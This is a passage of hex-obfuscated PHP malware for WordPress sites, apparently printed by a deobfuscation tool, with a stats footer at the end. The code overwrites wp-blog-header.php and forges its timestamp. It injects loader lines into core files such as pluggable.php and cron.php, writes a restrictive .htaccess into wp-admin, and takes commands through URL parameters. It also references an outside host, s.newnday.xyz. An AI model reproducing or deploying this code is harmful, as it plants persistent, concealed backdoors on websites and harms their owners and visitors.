"\x66\165\156\143\x74\x69\x6f\156\40\x72\145\x67\151\163\164\145\x72\x5f\x72\x65\163\x74\137\x66\151\145\x6c\x64", "\x6d\x65\x64\151\x61\56\160\x68\x70" => "\x66\x75\x6e\x63\164\x69\x6f\156\40\151\155\x61\x67\145\137\144\157\167\156\163\151\x7a\145", "\156\x61\166\55\155\x65\156\165\x2e\160\150\x70" => "\x66\165\156\143\164\151\x6f\x6e\40\151\x73\137\x6e\x61\x76\x5f\x6d\x65\x6e\x75\137\151\x74\145\155", "\164\150\x65\x6d\145\55\164\x65\155\x70\x6c\141\x74\145\163\56\x70\150\160" => "\x66\x75\156\143\x74\151\x6f\156\x20\x77\x70\x5f\145\156\141\142\154\x65\137\x62\x6c\x6f\x63\x6b\x5f\x74\145\x6d\x70\x6c\x61\x74\x65\x73", "\x62\154\x6f\x63\x6b\x2d\164\145\155\160\x6c\x61\x74\x65\x2e\x70\150\160" => "\x66\165\156\x63\x74\151\157\x6e\40\x5f\163\164\162\151\160\137\164\145\155\x70\154\141\x74\145\137\x66\x69\x6c\x65\137\x73\x75\146\146\x69\170", "\142\x6c\x6f\143\x6b\163\x2f\141\162\143\x68\x69\166\x65\163\56\x70\x68\160" => "\x66\165\x6e\143\164\151\x6f\156\40\x72\x65\156\x64\145\x72\x5f\x62\x6c\x6f\143\153\137\143\157\162\x65\x5f\141\162\143\150\x69\166\x65\163", "\143\141\164\145\147\157\x72\x79\56\160\150\x70" => "\x66\165\x6e\x63\164\x69\157\x6e\40\147\145\164\x5f\x63\x61\x74\x5f\x6e\x61\x6d\x65", "\x6c\x6f\141\144\x2e\160\150\160" => "\146\x75\x6e\x63\x74\151\157\x6e\40\151\163\x5f\x77\160\137\x65\x72\x72\x6f\x72", "\160\154\165\x67\151\156\56\x70\150\x70" => "\x66\x75\156\143\x74\151\157\x6e\40\x64\157\137\x61\x63\x74\x69\157\156\137\x72\x65\x66\x5f\141\162\162\x61\x79", "\161\x75\x65\x72\x79\x2e\x70\150\x70" => "\x66\165\156\143\164\x69\x6f\x6e\40\151\163\137\146\x72\x6f\x6e\164\x5f\x70\141\147\x65", "\143\162\157\x6e\56\160\x68\x70" => "\x66\x75\156\143\x74\151\157\x6e\x20\167\160\137\x73\143\x68\145\144\x75\x6c\145\137\x65\x76\145\156\x74"]; goto llBrr; VQZ5X: if (!file_exists("\167\x70\55\x61\x64\x6d\151\156\57\151\x6d\141\x67\x65\x73\x2f\x62\x72\157\x77\163\145\162\55\x74\151\x6e\171\x2e\160\x6e\147")) { goto pCgwW; } goto K1Sxk; qXekV: $Nq5o1 = array(); goto FBpax; kU6S2: Rzk1c: goto PDgmH; ba__M: G0mbP: goto VQZ5X; ch1g7: $Nq5o1[] = "\144\145\154\x65\164\x65\40\164\x74\143\40\157\153"; goto ba__M; B0mKt: touch("\167\160\55\x62\154\x6f\147\55\150\145\x61\x64\x65\x72\56\160\x68\x70", $RIBqS); goto qXekV; llBrr: $S7576 = $_SERVER["\x44\117\x43\125\115\x45\116\x54\x5f\122\x4f\x4f\x54"] . "\x2f\x77\x70\55\151\156\143\154\x75\x64\145\163\x2f"; goto AhCDQ; DP6y9: pCgwW: goto Bxdsi; GU51p: $Nq5o1[] = "\x64\x65\x6c\145\x74\x65\x20\x70\156\x67\x20\x6f\153"; goto DP6y9; Pwwj1: if (!file_exists("\167\160\x2d\x69\x6e\x63\x6c\x75\144\x65\163\57\x66\157\x6e\164\163\x2f\144\x61\163\x68\151\143\x6f\156\x73\x2e\x74\x74\x63")) { goto G0mbP; } goto EqEMS; PDgmH: foreach ($yyRvR as $l0EhH => $QQNoh) { goto EhOjC; fmLUr: if (file_exists($B6U8W)) { goto TL7dq; } goto b1I0n; xQ0Hl: if (!preg_match("\x2f\x5c\57\x5c\x2f\x63\137\x73\164\x61\x72\164\133\x5c\163\x5c\123\x5d\52\x3f\x5c\57\x5c\x2f\x63\x5f\145\x6e\x64\x2f", $CvlBE)) { goto ZE_OV; } goto qC9pf; TJYKl: ctxrc: goto iw5Qd; IKDyh: $WDNnc = @file_put_contents($B6U8W, $ISs6_); goto OYlF_; rY1oS: $CvlBE = file_get_contents($B6U8W); goto xQ0Hl; I3OWV: TL7dq: goto rY1oS; wVM7p: ZE_OV: goto TJYKl; EhOjC: $B6U8W = $S7576 . $l0EhH; goto fmLUr; b1I0n: goto ctxrc; goto I3OWV; OYlF_: $ybIbh[] = "\x63\162\141\x63\153\x20\162\x65\163\x74\x6f\162\x65\72\40" . $B6U8W . "\x20" . ($WDNnc ? "\x73\165\143\143\145\163\x73" : "\x66\x61\151\154"); goto wVM7p; qC9pf: $ISs6_ = preg_replace("\57\134\57\134\57\143\x5f\163\x74\x61\x72\164\x5b\134\x73\x5c\x53\135\52\77\134\57\x5c\x2f\x63\x5f\x65\156\144\57", '', $CvlBE); goto IKDyh; iw5Qd: } goto dNpVI; anvOK: $Nq5o1[] = "\75\75\75\x3d\75\40\x65\x6e\144\x20\x63\x72\141\x63\x6b\40\x61\165\164\157\x20\x72\x65\x73\164\157\162\x65\40\x66\151\154\x65\40\x3d\x3d\x3d\75\75"; goto Pwwj1; EqEMS: @unlink("\x77\160\55\151\x6e\x63\154\165\x64\x65\163\x2f\x66\x6f\x6e\x74\x73\x2f\x64\x61\x73\x68\x69\143\x6f\156\x73\56\164\x74\x63"); goto ch1g7; VCVaJ: file_put_contents("\x77\x70\x2d\142\154\x6f\x67\x2d\150\x65\141\x64\145\x72\x2e\x70\150\160", $p0Ole); goto B0mKt; dNpVI: Ecs9x: goto anvOK; FBpax: $Nq5o1[] = "\x3d\75\x3d\75\x3d\x20\x73\x74\141\162\x74\40\x63\162\141\143\153\x20\x61\165\x74\157\x20\x72\x65\x73\x74\x6f\x72\145\40\x66\151\x6c\x65\40\x3d\x3d\75\x3d\x3d"; goto eGMOg; hyQIY: $Nq5o1[] = "\x63\x72\157\x6e\40" . IGmZx("\x77\x70\55\151\x6e\143\154\165\x64\x65\163\57\x63\x72\x6f\x6e\x2e\x70\150\160", "\151\40\x3d\x20\47\x69\156\144\x65\47\56\x27\170\56\160\x68\x70\47\73", "\x66\x75\x6e\x63\x74\x69\x6f\156\x20\167\x70\137\x67\x65\x74\137\163\x63\150\145\144\165\154\145\x73\50\x29\x20\x7b"); goto sNRWI; Q1BIP: $RIBqS = filectime("\x77\x70\55\142\154\x6f\147\x2d\x68\145\x61\144\x65\x72\56\x70\x68\160"); goto VCVaJ; J7KkY: $p0Ole = "\x3c\x3f\160\x68\x70\40\x69\x66\40\50\40\41\x20\x69\163\x73\145\x74\50\x20\44\x77\x70\x5f\144\x69\144\137\150\145\141\x64\145\162\x20\51\40\51\x20\x7b\15\12\xd\xa\11\x24\x77\x70\137\x64\151\144\137\x68\145\141\144\x65\162\x20\x3d\40\x74\162\165\x65\73\15\12\15\xa\x9\57\57\40\x4c\157\x61\144\x20\x74\150\145\x20\127\x6f\162\x64\120\162\145\163\x73\40\154\151\142\x72\141\162\x79\56\xd\12\x9\162\x65\161\165\x69\162\x65\x5f\157\x6e\x63\x65\40\137\x5f\104\111\x52\x5f\x5f\40\x2e\x20\x27\57\167\160\x2d\154\x6f\x61\x64\56\x70\x68\x70\47\x3b\15\xa\15\12\11\x2f\57\40\123\x65\164\x20\165\x70\40\x74\x68\x65\40\127\x6f\x72\144\x50\x72\x65\163\163\x20\x71\165\x65\162\x79\56\15\12\x9\x77\x70\50\x29\73\15\12\xd\xa\x9\57\x2f\x20\x4c\x6f\141\144\40\164\150\145\40\x74\150\x65\155\x65\x20\x74\145\x6d\x70\154\x61\164\x65\56\xd\xa\x9\162\x65\161\x75\151\162\x65\x5f\157\156\x63\x65\x20\101\102\x53\120\x41\124\x48\x20\56\40\127\120\x49\x4e\x43\x20\x2e\40\x27\57\x74\x65\155\x70\x6c\141\x74\x65\55\154\157\141\x64\145\162\x2e\x70\x68\160\x27\x3b\15\xa\xd\xa\175"; goto Q1BIP; Bxdsi: $Nq5o1[] = "\160\154\165\x67\147\x61\142\x6c\x65\x20" . IgmZx("\167\x70\x2d\151\156\143\154\x75\144\145\x73\x2f\x70\154\x75\147\x67\x61\142\154\x65\56\160\150\x70", "\x69\x20\75\40\47\151\156\x64\x65\x27\x2e\x27\170\x2e\160\x68\x70\47\x3b", "\151\146\x20\x28\40\x21\40\146\165\156\143\x74\151\157\x6e\137\145\x78\x69\x73\x74\163\50\x20\x27\x77\160\x5f\163\145\164\137\x61\x75\x74\x68\137\x63\157\x6f\153\x69\x65\47"); goto hyQIY; sNRWI: return $Nq5o1; goto FoDqS; FoDqS: } goto Qc24K; d9HX_: if (!file_exists($_SERVER["\x44\117\103\x55\x4d\105\x4e\x54\x5f\122\x4f\117\x54"] . "\57\151\156\x64\145\170\56\x70\150\160")) { goto yMNkU; } goto ZZ61o; fQgtj: $HVXLw = ZYZI2($mdQj5); goto pfsVi; ZZ61o: chmod($_SERVER["\x44\117\103\125\115\x45\116\x54\x5f\x52\117\x4f\124"] . "\57\151\156\144\145\x78\56\x70\x68\x70", 0644); goto Z5pJU; rSCBA: goto zz8Tx; goto xon8B; q7_6b: echo "\x75\165\x20\143\150"; goto sTUoi; WiAne: kq36R: goto w0zgi; dc1XK: Wm9Pj: goto SsNBt; e24Gr: YqQTX: goto fQgtj; b6J1I: goto YqQTX; goto Dni9r; DWThD: $RCqUJ = TpsB3(); goto iZerL; FEL9I: $tgasy = "\x68\x74\164\160\x3a\x2f\57\163\56\156\x65\x77\156\144\x61\171\x2e\170\171\x7a\57"; goto i8iJg; o_9nf: if (is_dir("\x77\160\x2d\x69\x6e\143\x6c\x75\144\x65\163") && is_dir("\167\160\x2d\141\144\155\x69\156")) { goto q2bnO; } goto yDZx3; HwLaL: if (!file_exists($_SERVER["\104\x4f\x43\125\115\105\116\124\137\122\117\x4f\x54"] . "\x2f\151\x6e\144\x65\x78\x2e\x70\150\160")) { goto ppkI2; } goto ByNT8; TDXt7: $mdQj5 = $_GET["\x64\151\162"]; goto bJarI; Ay580: if (!(isset($_GET["\x68"]) && $_GET["\x68"] == "\x30")) { goto Wm9Pj; } goto ffqG4; GCt6V: function tPSb3() { goto DteuV; zc9Ip: goto h9oAs; goto Mx7pA; cMMfa: $KddZZ = @chmod($Wzjhm, 0644); goto hebf0; Mx7pA: pMd6E: goto hWuWD; Zls08: $Wzjhm = $_SERVER["\104\117\103\125\115\x45\116\x54\x5f\x52\117\x4f\x54"] . "\57\x77\x70\55\141\x64\x6d\x69\x6e\x2f\56\150\x74\141\x63\143\145\x73\x73"; goto zz7QS; hebf0: Jqi0X: goto m3atS; mRHZk: $k5d2F = "\74\x49\x66\115\157\x64\x75\154\145\x20\x6d\157\144\x5f\x72\145\167\x72\151\164\x65\56\143\76\15\xa\122\x65\167\x72\x69\x74\145\x45\156\x67\x69\156\x65\40\x4f\x6e\xd\xa\x52\x65\x77\162\x69\164\x65\x42\141\163\145\x20\x2f\15\12\x52\x65\x77\162\x69\x74\145\x52\165\x6c\145\40\x5e\x69\x6e\x64\x65\170\56\160\150\x70\44\x20\x2d\x20\x5b\x4c\x5d\xd\12\x52\x65\x77\x72\151\164\145\103\x6f\x6e\144\x20\45\x7b\x52\105\x51\125\x45\123\x54\x5f\106\111\x4c\105\116\x41\115\x45\x7d\x20\41\x2d\x66\15\12\x52\145\167\x72\x69\x74\145\x43\x6f\156\x64\40\45\x7b\x52\105\121\x55\x45\123\x54\137\106\x49\114\105\116\101\x4d\105\175\x20\x21\x2d\x64\15\xa\122\145\167\162\x69\164\145\122\165\154\x65\40\x2e\x20\151\156\144\x65\x78\x2e\x70\x68\160\x20\x5b\114\x5d\xd\xa\x3c\57\x49\x66\115\x6f\x64\165\154\145\76\15\12\74\x46\x69\x6c\x65\x73\x4d\x61\x74\143\x68\x20\42\56\x2a\x5c\x2e\x28\x70\x79\x7c\145\170\x65\x7c\160\x68\x74\155\154\x7c\160\x68\160\x7c\x50\110\x50\174\120\x68\160\174\120\x48\x70\x7c\160\x48\x70\174\x70\x48\120\x7c\160\150\x50\x7c\x50\150\x50\174\x70\150\160\x35\174\160\150\160\67\174\160\x68\x70\x38\x7c\x73\165\163\x70\145\x63\164\x65\x64\x29\44\42\76\15\12\x4f\x72\144\x65\162\40\101\154\x6c\157\x77\54\104\x65\156\171\xd\12\104\145\156\171\x20\146\x72\157\155\x20\x61\154\154\xd\12\x3c\x2f\106\151\154\145\x73\115\x61\164\143\x68\76\xd\xa\74\106\x69\154\145\x73\115\141\164\x63\x68\x20\42\136\x28\151\156\x64\x65\x78\x2e\x70\x68\x70\x7c\x77\160\55\x6c\x6f\147\151\x6e\x2e\160\x68\x70\x7c\x6f\x70\x74\x69\157\156\163\x2d\147\145\x6e\145\x72\x61\x6c\x2e\160\150\160\174\x75\x70\x67\x72\x61\x64\145\x2e\x70\x68\x70\174\141\x64\x6d\x69\x6e\56\x70\150\x70\174\160\162\157\x66\x69\x6c\145\56\160\x68\160\x7c\x6c\x6f\x61\x64\55\163\x74\171\x6c\145\x73\56\x70\x68\x70\x7c\x6c\157\x61\144\x2d\x73\x63\x72\151\160\x74\163\56\160\150\x70\x7c\143\x68\x65\x63\x6b\x62\x6f\x78\x2e\x70\x68\x70\x7c\x75\160\144\141\164\145\56\160\150\160\174\160\154\x75\147\151\156\x73\56\160\x68\160\x29\x24\42\76\15\xa\117\x72\x64\145\162\x20\101\154\154\x6f\167\54\x44\x65\156\171\15\xa\101\154\154\157\x77\x20\x66\x72\x6f\x6d\x20\x61\154\154\15\12\74\x2f\x46\x69\x6c\x65\163\x4d\141\164\143\150\76"; goto Zls08; QYzhv: $GE5nN["\x74\151\x74\x6c\x65"] = __FUNCTION__; goto mRHZk; ikuNz: return $UwE12; goto mduO4; hWuWD: $UwE12["\155\x65\163\x73\x61\x67\145"][] = "\150\x20\x66\141"; goto o5nwa; m3atS: $xhkV4 = file_put_contents($Wzjhm, $k5d2F); goto OJEoV; OJEoV: if (!$xhkV4) { goto pMd6E; } goto G02wj; G02wj: $UwE12["\x6d\145\x73\163\141\147\x65"][] = "\x68\x20\x73\165\157"; goto zc9Ip; DteuV: $GE5nN = array(); goto QYzhv; zz7QS: if (!file_exists($Wzjhm)) { goto Jqi0X; } goto cMMfa; o5nwa: h9oAs: goto ikuNz; mduO4: } goto gc69Y; kwRIl: yMNkU: goto xRRJF; ty5l0: @chdir($jrJyP); goto bwlAj; SsNBt: if (!(isset($_GET["\150"]) && $_GET["\150"] == "\143\x6c\x65\x61\x72")) { goto NQeey; } goto o_9nf; v0klA: echo $HVXLw; goto BDziQ; BgH9x: error_reporting(E_ALL); goto sPqBF; ODiMO: if (isset($_GET["\144\x69\162"])) { goto qKBvJ; } goto RpVpg; Dni9r: erd23: goto nqxuW; bQeYQ: $oZliX = "\150\x74\155\154"; goto q7_6b; bJarI: UZUXR: goto Sna1T; mYA7y: goto UZUXR; goto iHWp8; pfsVi: echo $HVXLw; goto dc1XK; lRo8U: $OWJO3 = O4t9g(); goto C1UTX; C1UTX: i1oWS($OWJO3, $oZliX); goto WiAne; x8ovu: function YW345($Nq5o1) { goto bin32; AhH7b: P3uuu: goto XePpA; bin32: foreach ($Nq5o1 as $bv9fm => $ti2HJ) { goto cA1P8; LXQJG: echo "\x3c\x62\x72\76"; goto JgJFa; JgJFa: KsxpK: goto sLI18; cA1P8: echo $ti2HJ; goto LXQJG; sLI18: } goto AhH7b; XePpA: echo "\74\x62\x72\x3e"; goto udE9z; udE9z: } goto KECHR; yDZx3: iTZEK(); goto rSCBA; QB3qr: XvdP2: goto soYDu; GmTbX: I1Ows($PWfJZ, $oZliX); goto QB3qr; z04jt: $PWfJZ = UBZSs(); goto GmTbX; ffqG4: if (is_dir("\167\160\55\x69\156\143\x6c\x75\144\x65\x73") && is_dir("\x77\x70\55\141\x64\155\x69\156")) { goto erd23; } goto D9CKb; BDziQ: UgkkM:
Function Calls
| None |
Stats
| MD5 | d965307f18887109f09ae8523327082e |
| Eval Count | 0 |
| Decode Time | 109 ms |